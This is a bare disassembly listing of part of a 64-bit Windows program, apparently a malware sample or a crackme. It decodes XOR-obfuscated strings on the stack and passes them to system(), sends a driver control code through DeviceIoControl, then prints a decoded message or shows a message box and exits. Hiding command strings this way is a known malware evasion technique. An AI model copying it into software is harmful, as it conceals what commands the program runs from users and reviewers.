movabs rax, 0xc90d4392c5d828f8
mov qword [rbp + 0x620], rax
mov qword [rbp + 0x628], r15
movdqu xmm0, xmmword [rbp + 0x620]
xorps xmm0, xmmword [rbp + 0x600]
movdqa xmmword [rbp], xmm0
lea rcx, [rbp]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140003af2
xor ecx, ecx
mov qword [rsp + 0x38], rcx
lea rax, [rbp + 0x3c0]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x222244
mov rcx, qword [rbp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, qword [rbp + 0x5e0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp + 0x560], r12
mov qword [rbp + 0x568], r15
mov qword [rbp + 0x570], rsi
mov qword [rbp + 0x578], rdi
movabs rax, 0xb96237e1e5df21f5
mov qword [rbp], rax
movabs rax, 0x6b9532f29b63b55c
mov qword [rbp + 8], rax
movabs rax, 0x6b2ae914edb8f9c5
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdi
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x520], xmm0
movups xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x530], xmm1
vmovdqu ymm0, ymmword [rbp + 0x560]
vpxor ymm1, ymm0, ymmword [rbp + 0x520]
vmovdqa ymmword [rbp + 0x520], ymm1
lea rcx, [rbp + 0x520]
vzeroupper
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rax, 0x6b419786530afa9
mov qword [rbp + 0x550], rax
mov rcx, rbx
mov qword [rbp + 0x558], rbx
movabs rax, 0xad6421fbaed81f91
mov qword [rbp + 0x560], rax
movabs rax, 0x709725ccd5309f15
mov qword [rbp + 0x568], rax
movabs rax, 0x19588657cda5b383
mov qword [rbp + 0x570], rax
movabs rax, 0x22ed0ee0824e00c3
mov qword [rbp + 0x578], rax
movabs rax, 0x8883bb96a933ce87
mov qword [rbp + 0x580], rax
movabs rax, 0x50dc4b71b2401cb2
mov qword [rbp + 0x588], rax
movabs rax, 0x6b4197865308eda
mov qword [rbp + 0x590], rax
mov qword [rbp + 0x598], rbx
movups xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp], xmm0
movups xmm1, xmmword [rbp + 0x570]
movaps xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [rbp + 0x580]
movaps xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rbp + 0x590]
movaps xmmword [rbp + 0x30], xmm1
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp]
vmovdqa ymmword [rbp], ymm1
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x540]
vmovdqa ymmword [rbp + 0x20], ymm1
lea rdx, [rbp]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
vzeroupper
call fcn.140006290
lea rdx, [0x140006640]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rax, 0xbb4863fea4df25dd
mov qword [rbp + 0x560], rax
movabs rax, 0x6f9775b3d578ad0e
mov qword [rbp + 0x568], rax
movabs rax, 0xe418a7d99e1b880
mov qword [rbp + 0x570], rax
movabs rax, 0x28a651b9805343d2
mov qword [rbp + 0x578], rax
movabs rax, 0xfdecc297ab34c28d
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], r13
movups xmm0, xmmword [rbp + 0x560]
movaps xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rbp + 0x570]
movaps xmmword [rbp + 0x90], xmm1
movups xmm2, xmmword [rbp + 0x580]
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x540]
vmovdqa xmmword [rbp + 0xa0], xmm2
mov qword [rbp + 0x520], r12
mov qword [rbp + 0x528], r15
mov qword [rbp + 0x530], rsi
mov qword [rbp + 0x538], rdi
mov qword [rbp + 0x540], r14
mov qword [rbp + 0x548], r13
movabs rax, 0xbc5b63fea0df2ad2
mov qword [rbp + 0x560], rax
movabs rax, 0x768a11bf876fac10
mov qword [rbp + 0x568], rax
movabs rax, 0x7438852cdb3b393
mov qword [rbp + 0x570], rax
movabs rax, 0x2e8102f6ba1a07c3
mov qword [rbp + 0x578], rax
movabs rax, 0xfdecc2b6c271cf8e
mov qword [rbp + 0x580], rax
mov qword [rbp + 0x588], r13
vmovups xmm0, xmmword [rbp + 0x560]
vmovaps xmmword [rbp + 0x40], xmm0
vmovups xmm1, xmmword [rbp + 0x570]
vmovaps xmmword [rbp + 0x50], xmm1
vmovups xmm2, xmmword [rbp + 0x580]
vmovdqu ymm0, ymmword [rbp + 0x520]
vpxor ymm1, ymm0, ymmword [rbp + 0x40]
vmovdqa ymmword [rbp + 0x40], ymm1
vxorps xmm2, xmm2, xmmword [rbp + 0x540]
vmovdqa xmmword [rbp + 0x60], xmm2
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp + 0x80]
lea rdx, [rbp + 0x40]
xor ecx, ecx
vzeroupper
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3